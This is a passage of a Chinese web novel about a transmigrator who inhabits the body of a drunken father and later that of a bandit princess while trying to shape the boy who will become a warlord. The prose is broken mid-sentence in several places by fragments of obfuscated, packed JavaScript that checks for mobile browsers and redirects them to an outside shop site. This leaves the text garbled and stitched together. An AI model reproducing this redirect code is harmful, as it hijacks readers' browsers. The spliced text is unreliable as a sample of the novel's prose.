燕钊解释道:“里面卡了竹片,用线绷着。按这里,”他指了指侧面一个不起眼的小孔,“劲儿一泄,它就能弹出来。” 苗悦依言用拇指抵住那小孔,稍一用力,果然听到轻微的“咔哒”声,小木棍应声弹出寸许,带着一股迅疾的力道。 苗悦吓了一跳:“好家伙!” 燕钊手指在某处一拨,弹出的木棍便乖巧地缩回凹槽,恢复成那片完整的“燕尾”。 “平时有根小木楔卡着,不会误触。”他补充道。 “你这小脑袋瓜怎么长的?”苗悦这回是真心实意地赞叹,“能想出这么精巧的机关,当个肩扣很漂亮啊。” 燕钊闻言,耳根微微泛红。 苗悦把玩着,在自己手腕上比了比。 “要是用个皮带,从后面穿过去,系在手腕上。”她一边说一边比划,“像不像戴了个民族风的腕饰。” 燕钊眼睛一亮,看看那尾羽,再看看自己的手腕,若有所思地丈量木头的厚度。 “要是能批量生产,说不定能赚钱。得给它起个名字,保护专利。”苗悦翻来覆去地看,“像燕子尾羽……能当腕带……衣扣肩扣也行……” 她看向燕钊:“叫燕尾扣怎么样?” 燕钊点点头,接过燕尾扣,蹲到墙边,拿出手钻。 眼看他又要开工,苗悦赶紧拦住。 陈家村的生活实在无聊,可一想到陈阿大命不久矣,不宜在此时节外生枝,苗悦只能按捺下远走的冲动。 但是秋高气爽的日子,在村子附近玩玩还是可以的。 “天天闷在屋里要发霉了。”她拉起燕钊,“今天天气好,咱们去捉鱼,烤鱼吃,换换口味。” 秋日的天空显得格外高远,阳光明亮却不灼人,田埂边的野草开始泛黄,结着零星的草籽。 两人一前一后走在窄窄的土路上,燕钊目光流连在形态各异的树木之间,不时伸手掐一下树皮。 “你在找什么?”苗悦问。 燕钊说:“我想找块硬点的木头。现在用的这块有点软,力道一大,怕会撑不住。” “你要是当了老贼头的徒弟,一准能青出于蓝。”苗悦颇是羡慕,随即话锋一转,语重心长道,“人有本事是好事,但更得明白本事该为谁用。这世上的人才、宝物,都得遇着明主,才能物尽其用,人尽其才。不然,再好的材料,用错了地方,也是白搭。” 燕钊迷惑地看着她。 苗悦清了清嗓子,把编纂多日的故事讲了出来。 “很久以前,有个年轻侍卫,一身好武艺,他就认准了这个道理。叛军攻入皇宫,那个侍卫不顾性命,背着小皇帝和传国玉玺躲进深山老林。猎兔捕鱼,啃树皮饮山泉,侍卫身上伤痕累累,却始终将最好的食物留给小皇帝。敌人在山中喊话,‘天子蒙尘,气数已尽,不如献玺投降,可享富贵’。那侍卫慨然拒绝。最终,他们等到勤王兵马,重整山河。年轻的侍卫因为护驾有功,成了名留青史的大将军,一辈子荣华富贵。” 燕钊问:“这个侍卫叫什么?” 苗悦眨眨眼:“名字不重要,重要的是天子是国之明月,是一国象征,真正的英雄会守护明君,如众星拱月。生为臣子,要认准这个死理不放手!” 燕钊看着她,眼睛黑白分明:“爹,英雄怎么知道,他要守护的,就一定是明月呢?如果他拼尽性命去守护,最后发现那只是一块看着光亮的石头,他该怎么办?” 苗悦语塞,一时找不到能说服自己的答案,故作严肃地拍了拍他肩膀。 “天子就是天子,生来注定的,就像太阳东升西落一样自然。不要钻牛角尖,忠君的气节,才是最最重要的。” 燕钊不再追问,似乎接受了她的说法。 苗悦挺高兴。这孩子终于不怕陈阿大,敢于表达想法了。 看来自己这些天的温情攻势没有白费,父子关系总算拉近了些。 秋日的河水变得清澈寒凉,流速也缓了下来。大片枯黄的芦苇在风中摇曳,沙沙作响。 苗悦卷起裤腿,踩进及膝的河水时,头一次感受到男人身体的好处,她竟不觉得河水凉。 一条鱼从她腿边游过,她双手合拢猛扑下去,激起一片水花,却只堪堪擦到鱼尾。 苗悦反复几次,不是动作太慢,就是滑不留手,弄得浑身湿漉漉,却一无所获。 她有些气馁,直起腰,抹了把脸上的水珠,转头看向燕钊。 燕钊弓着身,静静站在河里,袖子挽至肘部,手几乎帖在水面上,掌中握着他刚刚作成的燕尾扣。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16749001|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他一动不动,屏息凝神,紧紧盯着水面,一尾鱼正在他腿边不远处游来游去。 苗悦下意识地屏住了呼吸,目光追随着那条鱼。 极轻微的“咔哒”声,一道细小的黑影从燕尾扣中疾射而出。 “噗!” 水花微溅,紧接着,那条鱼剧烈地拍打起水面。 燕钊动作极快,一把将鱼抓在手里。 苗悦几步涉水过去,见那鱼还在神经性地翕动着嘴。 她这才看清,燕尾扣里的小木棍,一端被削磨得异常锋利,形如现代的牙签。 尖头从鱼鳃侧后方刺入,入肉极深,可见弹出时的力道。 “这……这是你磨的?”苗悦惊愕。 燕钊点点头,脸上难得地露出一丝近乎骄傲的浅笑,眼神亮晶晶的,得意于自己的作品首战告捷。 苗悦心惊。 这哪里是什么饰品,以这木刺的尖锐程度,若换成金属,近距离之下,轻则刺穿皮肉,重则伤及内脏,根本就是一件暗器。 她立刻就想把这危险的东西从燕钊手里拿过来,可看到燕钊发自内心的欣喜和成就感,话到嘴边又咽了回去。 她抿唇,叮嘱道:“以后这尖头,别磨这么利了,万一不小心伤着自己或旁人,可不是闹着玩的。” 燕钊点了点头,目光仍黏在那条鱼上,并未将陈阿大的告诫放在心上。 苗悦看看他,又看看燕尾扣,后知后觉地发现,这小小的像装饰品一样的东西,或许就是未来燕氏弩的雏形。 她暗自叹息,没想到自己无意中送出的手钻,竟也成了重要事件的一环。 燕钊提着鱼上岸,寻了处背风的土坡,用脚清理出一块空地,将树枝从鱼嘴中穿进去,再捡了些干芦苇来,就地生起火。 鱼肉在火上渐渐变得焦黄,油脂滴入火中,激起更旺的火苗和滋滋的声响。 等得无聊,燕钊抓了根细长的芦苇,随意在身旁松软的泥地上划拉着。 苗悦瞥了几眼,发现他并非胡乱涂画,而是在重复勾勒两个字,笔画歪斜,结构松散,隐约能看出是“芦苇”二字。 “芦苇不是这么写的。”苗悦看了一会儿,忍不住出声纠正。 燕钊抬起头,眼中满是惊疑:“爹……你会写字?” 苗悦心里咯噔一下,转念一想,陈阿大一把年纪了,识得几个字很正常。 “你爹我年轻的时候,跟着村里老秀才学过几个字,后来……唉,染上了那些坏毛病。”她摆摆手,顺势站起身,“不提了,来,我告诉你怎么写。” 她走到燕钊身后,很自然地俯下身,伸出那双属于陈阿大的粗糙的大手,握住燕钊的手。 燕钊心跳加速,一种强烈的熟悉感涌上心头。 他僵硬地在苗悦引导下写完“芦苇”两个字,转过头,目光胶着在苗悦脸上,嘴唇微微颤抖,似乎想说什么。 苗悦察觉到他神色异常,纳闷道:“怎么了?” 燕钊深吸一口气,小心翼翼地,充满期待地说:“爹,我不想叫‘狗娃’了。你……你给我换个名字吧。” 陈狗娃这个名字,确实粗鄙难听,配不上这孩子满身的灵性。 不过再过几年,这孩子会遇到那个为他赐名的人,从此拥有一个响彻王朝的名字。 这么重要的情节,自然要留给那命中注定的人来完成,不能由自己越俎代庖。 “‘狗娃’这名字多好,接地气,好养活。”苗悦堆起那套熟练的画饼式笑容,“等你为圣人效力,立了大功,圣人就会赐你名字,说不定还能姓李呢。” 燕钊眼中的光瞬间熄灭,原本带着些许期盼而微微前倾的肩膀,沉了下去。 他扯扯嘴角,似乎想扯出一个表示无所谓的弧度,却最终失败,只留下自嘲般的痕迹。 11.第 11 章 烤好的鱼肉外焦里嫩,入口鲜美,可苗悦嚼在嘴里,却有些不是滋味。 自她拒绝了燕钊改名的请求后,这小子就再没说过一句话。 他仍是那副没什么表情的样子,和之前一样,默默地吃鱼,收拾残烬,用泥土掩灭火堆。 但苗悦就是有一种强烈的感觉,这娃不高兴了。 回去的路上,两人一前一后,夕阳将他们的影子拉得很长,沉默在空气中蔓延。 苗悦想找点话,她清了清嗓子,开口道:“明天是你娘的头七,我们得好好操办一下。” 燕钊嗯了一声。 苗悦只好自顾往下说:“爹想着,把屋里那张方桌擦干净了,摆到院子当中,再蒸几个馒头,炖锅肉供上。你看这样成不?” 燕钊脚步未停:“都听爹的。” 第二日,天有些灰,正衬着两人的心情。 苗悦一大早将方桌擦得发亮,端端正正摆在了院子中央。 蒸好的白面馒头,码放在陶碗里,四个一堆,尖尖地垒着。昨夜特意留下的那块鱼腩肉,也盛在另一个碗中,搁在馒头旁边。 苗悦拿出林菱旧衣,想铺在桌上。 燕钊却伸手接过,默不作声地将其细细抚平,对折,再对折,叠成一个方正的包裹,置于方桌正中。 他没有看苗悦,也没有多余的话,直挺挺地跪在泥地上,深深地磕了三个头。 苗悦看着燕钊刻意疏远自己的身影,心里那点不解和些许愧疚,渐渐被一股压不住的火气取代。 她穿到这鬼地方,顶着个邋遢糙汉的皮囊,天天陪小屁孩演戏,还不够憋屈吗? 新被褥给你睡了,新衣服给你穿了,带你下馆子泡澡堂,你亲娘的头七都给办了,自问比对阿芦都上心。 不就是没答应给你改名吗,至于摆着臭脸? 她的任务是让燕钊忠君,不是来给他当二十四孝爹的。 一股破罐子破摔的念头涌上来。 爱冷着就冷着吧,反正陈阿大也没几天活头了,何必再费心思哄着,凑合过完这几天拉倒。 想通了这一层,苗悦心里反倒轻松了。 她收起了所有刻意的讨好和没话找话,该吃吃,该喝喝,不再试图从燕钊脸上寻找任何情绪反馈。 这招似乎起了效果。 当晚,苗悦已经睡沉了,忽听燕钊在她身后叫了声“爹”。 苗悦迷迷瞪瞪地嗯了一声,意识还陷在沉沉的睡意里,眼皮抬不起来。 “爹,我做梦了。” 苗悦勉强睁开一道缝,只觉万籁俱寂,连一声犬吠都听不见,应是夜极深了。 她从侧躺改为仰面,含糊地问:“……梦见什么了?” “梦见我娘了。”燕钊声音低低的,“她握着我的手,教我写‘芦苇’的‘芦’字,还说要给我改个名字,叫‘阿芦’。” 苗悦猛地睁开眼,这分明是她上次穿成林菱时发生的事。 记忆世界自成一方天地,它虽与现实世界不通,但却有自己的时间线,并非割裂成一块一块的。 三岁发生的事,十岁的燕钊依然记得。 燕钊的声音又响了起来。 “爹,你觉得,我叫‘阿芦’好不好?” 好什么好,那不就和真阿芦重名了。 “不好!”苗悦脱口道,“起名字哪能这么草率?芦苇是什么东西啊,一堆破草。” 黑暗中,燕钊没有接话。 苗悦安抚道:“你要是真想改名,哪天咱们花点钱,找个秀才好好合计合计,起一个响亮的。” 她拍拍燕钊:“大半夜的,赶紧睡觉吧,乖。” 说完,她翻个身,不再理会燕钊。 夜,死一般寂静。 “砰!砰!砰!” 粗暴急促的拍门声,如惊雷般炸响。 苗悦猛地惊起,心脏“咯噔”一下,骤然缩紧。 来了! 山贼来了!陈阿大的死期到了! 她一下坐起身,把燕钊从床上拽起,往床板下面塞。 “躲好,别出声!有爹在,不会让他们伤了你。” 苗悦做完这些,深吸一口气,拉开门,准备慨然赴死,却察觉到一丝异样。 门外只有两个人。 为首的男人三十出头的年纪,身量清瘦,穿件洗得发白的绿色短打,袖口卷到肘弯,露出两条筋骨分明的胳膊。黑腰带勒得紧,刀柄从腰带侧面探出来,黄铜护手被摩挲得发亮。 他身后跟着的大汉是个光头,头顶上纹着一只张牙舞爪的蜘蛛,腰间的砍刀连刀鞘都没有,大咧咧地冒着寒光。 这和苗悦预想中的情景不一样。 她见过山匪袭村,几十甚至上百的凶神恶煞挥舞长刀,抢掠财物,到处都是哭声、呼救声、叫骂声,浓烟滚滚,鸡飞狗跳。 眼前未免太安静了。 难不成,这二位不是山匪?陈阿大死期未至? 为首的男人眯眼打量一番,问:“你是陈阿大?” 苗悦:“我是。” 那男人又问:“你有个儿子叫陈狗娃,今儿个是你婆娘的头七?” 一旁的光头提醒:“应该是昨天。” 苗悦不明所以,点点头。 那男人朝身后摆手:“院里说话,宽敞。” 苗悦纳闷地来到院子里,问:“您二位是?” 男人手持长刀,冷冷开口:“老子行不更名,坐不改姓,铁屏寨大当家,石关山!”他侧身示意身旁那光头大汉,“这位是我过命的兄弟,二当家,程铁牛!” 哦,果然是来杀陈阿大的。可这架势,怎么还先报名号,讲究起来了。 她皱着眉,一脸不解地等石关山继续。 石关山道:“我们铁屏寨向来公道,不杀无名之辈,也不做冤死鬼的生意。前两天有人上山,跪请我们兄弟替他断一桩家务事。今日,便是特意来找你分说个明白。” 他绕着苗悦走了半圈,问道:“你逼死自家婆娘,转头又将儿子卖进宫当太监,可有这回事?” 苗悦反问:“有人请你们?谁?” 这时,身后木门“吱呀”一声轻响,燕钊瘦瘦的身影悄无声息地出现在门口。 “狗娃,你……”苗悦看到他先是一愣,继而脑子慢慢转起来。 李晏给的信息有误。 陈阿大确实死于山匪之手,但不是什么山匪袭村,而是燕钊亲自请来的! 苗悦难以置信地看着燕钊。 她以为他是个受尽苦难、需要庇护的幼崽,她曾竭力想让他过几天好日子。却没想到,这是一头蛰伏在侧伺机而动的狼崽子! 他现在才十岁啊! 李晏的话在苗悦脑中响起。 ——燕钊此人,命格极凶,煞气冲天,心如铁石,普通手段无法动摇他的意志。 不怪别人,是她自己轻敌了,大意了。 一个自诩清醒的穿越者,却在乱世之中,对着未来的“活阎王”滥发同情。 真是可笑! “哈哈哈,不错,不错。”苗悦想着想着,竟真笑了出来。 她看向石关山:“是我逼死了他娘,也是我把狗娃卖进宫去。他又不是我亲生的,我养了他们娘俩十几年,花了多少银子。如今拿他换十几两酒钱,有什么问题?这难道不是他该报答我的吗?” 石关山闻言,眉头紧锁,握刀的手背青筋微凸,沉声道:“老子也是个当爹的人,我闺女跟你儿子年岁相仿。虎毒尚不食子,你方才说的,可还算是人话?简直畜生不如。” 石关山话音才落,光头过来一脚踹在苗悦膝窝处,抡刀架在她脖子上。 苗悦膝盖一软,跪坐在地,暗骂什么破情节。 “既然你已亲口认下,铁证如山,那就休怪我等替天行道!” “慢着。”石关山抬手止住程铁牛,目光转向立于阴影中的燕钊,“小子,这畜生好歹担了你十年爹的名分。临到头了,你可还有话要与他说?” 燕钊慢慢从阴影中踱出,月光勾勒出他单薄却挺直的脊背。 他走到被按跪在地的苗悦面前,还高了半头。 “多谢大当家。”燕钊低声说,“我确实有话想问他。” 他垂下眼帘,目光落在苗悦脸上,交织着困惑、痛苦和怀疑,以及一丝极淡的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苗悦驳道:“你懂什么?圣人亦有圣人的难处,皇命难出宫门,政令难达州郡,纵有悲悯之心,亦缺雷霆之手。” “什么乱七八糟的。”石关山不耐烦道,“老子听不懂!说完了没有?” “大当家,我改主意了。”燕钊忽然转向石关山,“他终究当了我十年的爹。纵有千般不是,这十年,也没让我饿死冻死。” 石关山浓眉一挑,带着几分玩味:“那你娘的仇就不报了?” 燕钊望向坊间那口公井:“我娘是跳井死的。就把他扔进那口井里。若是村民们将他救上来时,他还活着,那就是他命不该绝。” 石关山像是听了什么有趣的事,哈哈大笑起来,用力拍了拍苗悦肩膀。 “你这么个混账东西,居然还有了一线生机,有意思。我倒想看看结果如何。” 苗悦闻言,却是浑身冰凉。 这哪是一线生机,分明是钝刀子割肉。 林菱几天前才从那里跳下去,村民们为了辟邪,往里面扔了多少奇怪的物什,黑黢黢的井底,谁知道泡着什么,有没有水蛇毒虫。 还不如一刀给个痛快! 苗悦瞬间下定了决心。 她猛地抬起头,目光锁住燕钊,嘶吼道:“狗娃!爹欠你的,欠你娘的,就在今夜,一并还了——” 话音未落,她毫无征兆地,朝着离她最近,持刀而立的光头猛撞过去。 这一下来得太快,光头没有防备,出于本能,手腕一翻,长刀向前一递。 “噗嗤!” 刀锋入肉的闷响传来。 他的刀法不错,位置准,力气大,动作快,一下子就插入苗悦胸膛。 剧烈的疼痛猛然炸开。 对于初中生苗悦来说,这感觉无疑是恐怖且难以忍受的。 但对于被老贼头磋磨多年的西市小仙姑苗悦来说,这种尖锐而短暂的痛苦,完全可以忍受。 比在黑漆漆的井底熬死强多了。 她才不要跳井呢。 12.第 12 章 李晏说,记忆世界里的身体死亡,会立刻成为另一段记忆中新的人物。 这个“立刻”是真的。 刀插入苗悦心脏,瞬间的疼痛过后,她开始发冷,意识逐渐飘散,眼前的景象如蜃楼般模糊晃动。 光头狰狞的表情、燕钊瞪大的双眼、坊市破旧的房屋,都像被拉拽似的扭曲起来,夜晚的陈家村与褪色发黑的牛皮军帐交替出现。 陈阿大的身体不再受她控制,瘫软到地上,胸膛流出的血在地面印出一片暗色。 扭曲的画面终于静止,苗悦发现自己身处一顶充满皮革与汗酸味的军帐里,帐顶悬着一盏小小的油灯,灯苗被缝隙钻入的夜风吹得忽明忽暗。 大脑中一片空白,关于新身体的信息尚未加载。 苗悦双手反剪,被粗糙的麻绳捆在硬木柱上,后颈传来阵阵酸痛。 脚上的高筒皮靴裂口翻皮,能看见朱砂线的锁边和绣了银丝的云纹锦内层。再一侧头,红色臂甲凹痕累累,内衬的玄色软革却完好,一排排的极细铜钉显示出这原是一身极为精致贵重的女式铠甲。 苗悦看向被光头一刀洞穿的位置,胸前整块红漆金属板完好无损。 她仰头,脑袋靠到立柱上,轻轻吁口气,无声地骂了句脏话。 她居然真的把十岁的燕钊当小孩哄,也不想想,能成为“活阎王”的人,童年又怎么会是普通的小孩。 说到底还是自己心急轻敌,那几日“幡然悔悟”的慈父戏码,确实有些敷衍。 但她也实打实地多次给燕钊洗脑,从他的反应来看,似乎并不是完全无用,只是不像自己以为的那么成功。 就在她复盘上局经验时,新身体的信息一股脑涌进来。 这具身体名叫石红玉,女,十五岁,“横山王”石关山的独女。 石关山就是上一回合中,燕钊请来帮忙弑父的铁屏寨大当家。 此时距离陈阿大死亡已过了六年。 这六年里,铁屏寨几经波折迁徙,逐渐壮大,成为了一方小小势力。 去年,石关山派人夜闯临峣城刺史府,趁刺史蒋重阳寿宴醉酒之机,将其一家老小擒获。 蒋重阳以为石关山是某股反叛势力,为保命,主动让出刺史之位,将临峣城拱手相送。 城中三千军士尽归石关山调遣。 铁屏寨从此有了真正的根据地,石关山摇身一变成为一城之主。 夺城太过容易,石关山自信心极度膨胀,在一帮兄弟怂恿下自封“横山王”,占了刺史府,将亲近之人全部封为“大将军”。 小小的临峣城,一夜之间拥有了十二个“大将军”。 而石关山唯一的女儿石红玉,自然而然成为了“横山公主”。 苗悦对这个新身体比较满意,年纪小家境好,唯一的麻烦是眼前阶下囚的处境。 说起来,还得怪石关山。 他太宠女儿了,把小姑娘宠的不知天高地厚。 石红玉只会三拳两脚,就敢穿着老爹送的精甲偷偷上战场。 这身铠甲专为石红玉所制,材料做工皆为上品,十分扎眼,一冲上阵就被敌军头目盯住了,十招不过活捉回营。 苗悦试着活动手腕,却让绳结更深地陷进肉里,每一次挣扎,都只换来勒痛和木柱吱呀的声响。 帐外卢宁军巡哨士兵沉重的脚步声,清晰而压抑。 临峣城与卢宁军的冲突,李晏曾有详细叙述,因为这个事件被视作燕钊军阀生涯的真正起点。 但他只字未提,整个事件中,石红玉经历了什么,甚至连这个名字都未曾出现。 也许在这些大人物眼中,小小女子从来不是改变局势的关键。 如今,苗悦得到了记忆世界更加完整的信息,知道击溃卢宁军的计策是燕钊所出,起因却与石红玉大有干系。 这事还要说回六年前。 燕钊用五贯钱投靠了石关山,成为铁屏寨一员。 他年纪小体格瘦,沉默寡言,在寨中存在感很低,日常只做些搬运收拾的杂活。 直到十三岁那年,燕钊跟着几个寨民进山,遇到狼群围攻。 这群狼在狼王带领下异常狡猾,将几人分散围捕,最后只有两个人活下来。 一个是山寨的伙夫长,另一个就是燕钊。 燕钊背着已经死了的狼王,扶着腿受伤的伙夫长,满身是血地出现在山寨门口,引起不小的轰动。 这件事后,燕钊升为巡山小队长,负责带领十来个人巡防山寨周边山林,警戒野兽与官兵。 他默默无闻地巡了两年山,与石红玉素无来往,不想却在临峣城破那日结下了梁子。 那天,刺史蒋重阳被擒,他的师爷杜言抱着刺史印去搬救兵。 正值中二期的石红玉眼见众人酣畅厮杀,也觉热血沸腾,不愿落于人后。 她在跟班程虎的保护下,亲自带人追捕杜言,最终将人堵在城西小巷里。 程虎知道石红玉想立功出风头,特意让她来射出击杀杜言的一箭。 石红玉挽弓搭箭,弓弦绷紧。杜言是个书生,箭矢距离又近,他注定躲不过。 石红玉兴奋难言,这一箭射出,她便亲手斩断了临峣城最后一丝反抗,“横山公主”之名,从此无人敢小觑。 “铮——” 箭离弦的刹那,斜刺里突然飞来另一支箭矢,精准击落石红玉的羽箭,两支箭同时坠在青石板上,发出清脆的声响。 石红玉大惊,抬头望去。 燕钊不知何时已站在巷口。 他一路疾奔而来,微微喘息,仍保持着那副没什么表情的模样,低声说了一句:“此人有才,杀不得。” 石红玉本想一箭立威,却被燕钊当众打落箭矢,勃然大怒,握着空弓的手微微发抖,愤怒又难堪。 燕钊道:“杜先生掌管临峣城钱粮户籍,熟知城中布防、官仓密道,以及周边州府的联络方式。杀了他,我们接手临峣城会有很多麻烦。” “放肆!一个打杂的也敢指挥我?”石红玉怒骂,“再敢多嘴,连你一起杀!” 燕钊没有退缩,反而微微侧身,将杜言半护在身后,平静道:“你若杀了他,回头大当家问起城中钱粮去向,谁来交代?” 石红玉铁青着脸,咬牙挤出几个字:“好,很好。” 她一扯缰绳,调转马头,准备离开。 程虎忙不迭地带人跟上,临走时还朝燕钊方向狠狠啐了一口。 燕钊看他们离开,转身走向自己的马。 石红玉越想越气,脑中尽是燕钊护着杜言的冰冷眼神,一股子邪火冲上头。 她猛地转身,迅如闪电拉满弓弦,瞄准杜言便是一箭。 事出突然,距离又近,所有人都来不及反应,只听一声闷响。 杜言身体一震,低头看着自己胸前的长箭,软软倒了下去。 石红玉一击得手,得意地朝燕钊扬了扬下巴,这才真正打马离开。 这一箭的苦果,当晚便显现出来。 杜言一死,城中钱粮账簿,仓廪密道,与周边州府的暗线,清点接收困难重重,许多旧吏更是借口推诿,给石关山造成了不少麻烦。 石关山了解情况后,不得不当着众人的面批评了石红玉。 虽然石关山私下温言安抚,又送了不少金银珠宝,但石红玉还是不肯服软。 她将怨气全都记在了燕钊头上。 从那以后,石红玉处处针对燕钊。 给他起外号“阴沟鼠”“芦柴棒”。在他的马上做手脚,害他险些摔断腿。 宴会上当众学陈阿大醉醺醺的腔调,命令他:“狗娃,给爹打酒去!” 程虎比石红玉大两岁,天生神力,他爹是山寨二当家程铁牛,全寨上下都让他几分。 石红玉便逼燕钊与程虎角力,让程虎故意掰断燕钊手指。 燕钊缴获的匕首,石红玉抢过来,转手赏给贴身丫鬟樱桃。 就在苗悦穿来半月前,石红玉又一次惩罚燕钊。 起因是石红玉看到燕钊在使用一个银纹手钻。 那手钻做工精巧,镶嵌银丝,既是匠器,又是工艺品,一看就价格不菲,只有官宦大户才舍得买给孩子做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕钊还刻意将这个主意,说成是石红玉想出来的。 石关山闻言,直夸女儿“脑子灵光”。 石红玉被架在“才女”高台上,再追究燕钊夜闯闺房的罪责就等于拆自己的台,只能干笑着认领,咬牙吃下一个哑巴亏。 第二日夜里,燕钊便“投”了卢宁军。 几日后,卢宁军主帅贺连川为印证他的诚意,命他叫阵来了一波小范围的战事。 正是这场小战,石红玉偷偷披挂,趁人不注意冲入战场,成了阶下囚,还是被燕钊亲手抓获的。 她想给燕钊点厉害瞧瞧,结果成了证明燕钊真心投诚的人证。 苗悦深深地叹气。 她好饿。 石红玉被抓来快两天了,滴水未进,不是贺连川不给,而是石红玉有骨气,送吃食的小兵都被她骂走了。 “大帅!” 帐外传来清晰的行令,让苗悦小心脏一哆嗦。 帐帘被掀开,一股冷风灌了进来,随之踏入的是一个三十多岁,身着黑甲,精瘦剽悍的男人,正是卢宁军主帅贺连川。 在他身后,跟着一个十六七岁的少年。 苗悦一眼认出,这是长大后的燕钊,现在的他还是陈狗娃。 瘦骨嶙峋的少年被岁月用力抻开了骨架,肩膀宽了,胸膛也不再是单薄的木板,有了隐约的轮廓。 一身青灰色轻甲,紧紧贴合着他的身体,勾勒出流畅而蕴藏着力量的线条。 他的脸庞褪去了不少稚气,下颌的线条变得硬朗,紧抿的薄唇和过于沉静的眼睛,依然能看出旧日的影子。 苗悦带着石红玉的怒火和陈阿大死时尚未宣泄的愤懑,肆无忌惮地打量他。 燕钊也抬起头来,平静地看了她一眼,毫无情绪,静得瘆人。 上一回合,他就总是这个眼神,让人搞不清他在想什么。 这是一头捂不熟的狼崽子,苗悦咬着牙根,恨恨地想。 13.第 13 章 既然顶了石红玉的壳子,就得把她的优势发挥出来,扮演一个骄纵的大小姐,好处除了有钱之外,还可以随心所欲地不讲道理。 苗悦仰着头,朝燕钊斥骂。 “你这忘恩负义的白眼狼!我爹当初看你可怜,把你带回寨子,给你饭吃,给你衣穿。你倒好,吃里扒外,反过来咬主人一口!” “你摸着良心说,没有铁屏寨,你早就不知道饿死在哪条沟里了,还能站在这里,人模狗样地当叛徒?!” “你以为投靠了卢宁军就能飞黄腾达?我告诉你,背主求荣的东西,到哪儿都是狗,永远上不了台面!” “我爹真是瞎了眼,当初就不该管你!像你这种骨子里就冷血的混蛋,根本养不熟!” 苗悦骂得累了,感觉更饿了,停下来喘口气。 贺连川双臂抱胸,看得津津有味。 他原是卢宁军神弩营指挥使,麾下儿郎皆是百战边兵。奈何朝廷连年欠饷,上官层层贪墨,逼得底下人活不下去。 他一怒之下,带着几个心腹弟兄杀了贪墨的监军,反出军营,从此流窜各州,专靠攻城劫寨过日子。 这帮人本就是戍边多年的老卒,刀头舔血,个个都能打。更关键的是,他们叛逃时,几乎卷走了卢宁军最精锐的家底,整整一营的弩军。 那支弩军是朝廷为对付北边游牧骑兵专门训练出来的,配有当今最强制式军弩,以及几百名熟练弩兵。 凭着这份家当,贺连川虽只有不到三千兵马,却成了一股令周边州县头疼的悍匪。 月前,他们听闻临峣城刚换了城主,新城主乃山贼出身,手下不过是一群啸聚的流民散勇,看似人多,实则没什么战力。 一群乌合之众,占了富庶城池,岂能不招人觊觎。贺连川当即动了心思,点齐人马,直扑临峣城。 临峣城有原本的两千官兵,再加上石关山自己的近万寨民,兵力数量上远多于卢宁军。 贺连川深知这一点,为免强攻损失太大,他利用了临峣城的软肋。 临峣城虽有四门,但唯有东、南两门连接官道,是粮草补给和人员往来的命脉。 贺连川将精锐弩手埋伏于此,截断了城内外的主要联系。 弩箭射程远、威力大,守军敢冒头或试图突围,便会遭到精准狙杀。这种强大的远程压制,使得城内守军龟缩不出。 即便有人能从西北两处偏僻小门溜出求援,石关山匪帮出身,在官府和周边势力中毫无根基,根本无援兵可搬。 石关山夺城后,治理手段仍如土匪,抢夺豪绅,盘剥百姓,并不得人心。 原刺史麾下的朝廷老兵多不愿为其死战,听调不听宣。临峣城号称有近万守军,实际服从指挥能战斗的,不过三五千人。 靠着这几点,贺连川以区区三千人马将临峣城困得动弹不得。 然而,困城易,破城难。 贺连川心里清楚,自己这三千人马虽是精锐,但若是强行攻城,面对据险而守的数千人,即便能胜,也必然是杀敌一千自损八百的惨胜。 就在双方僵持的当口,老天爷送来了两份“大礼”。 第一份礼,是一个叛逃出来的巡城小兵。 这小兵官职卑微,却因常年负责夜间巡防,对城内布防、粮仓位置、乃至几条鲜为人知的隐秘暗道都了如指掌。 贺连川还未决定此人是否可信时,第二份大礼自己送上了门,就是石关山的独生女,石红玉。 一个熟知内情的叛卒,一个敌军将领唯一的孩儿,僵局瞬间被打破,主动权向贺连川倾斜。 贺连川此时心情轻松,笑呵呵地摸着下巴:“你这丫头长得挺俊,嘴皮子是真厉害。”他转头看燕钊,“我听说她已经这样骂你两天了。” 燕钊垂首立于一侧,姿态恭顺,回道:“她是石关山唯一的女儿,从来说一不二,稍有不如意就会破口大骂,属下早已习惯。” 贺连川摇头,略带欣赏道:“也不能这么说。她一个小姑娘,敢单枪匹马往阵前冲,这份胆气本就难得。”随即话锋一转,“可惜了。我已经给你爹去了信,若他三日内开城投降,我便将你完好无损地送回去。” 苗悦立刻怒道:“我爹英雄一世,才不会向你这狗贼投降!” 贺连川冷笑道:“那我就只好用你阵前祭旗了。” 他走到帐口,正要出去,脚步一顿,侧过半张脸,瞅着燕钊。 “在她爹回信前,这丫头就交给你盯着。你俩那点过节,我心里有数。但眼下,她是老子手里最重要的筹码,把人伺候周全了。” 贺连川说完,出了营帐,没走多远,迎面撞上了副手高世衡。 “怎么样,有回信了吗?”贺连川劈头便问。 高世衡摇头:“哪有这么快。石关山再怎么疼女儿,也不至于为了一个女子就拱手投降。孩子以后还能再生,何况只是个女儿。你想想,若是你女儿被敌人拿住,要你献出全城去换,你能答应吗?” 贺连川还真想了想,随即摆手道:“老子媳妇都没有,哪来的女儿。你别跟老子绕弯子,咱们现在占着先手,就得逼他做决断。” 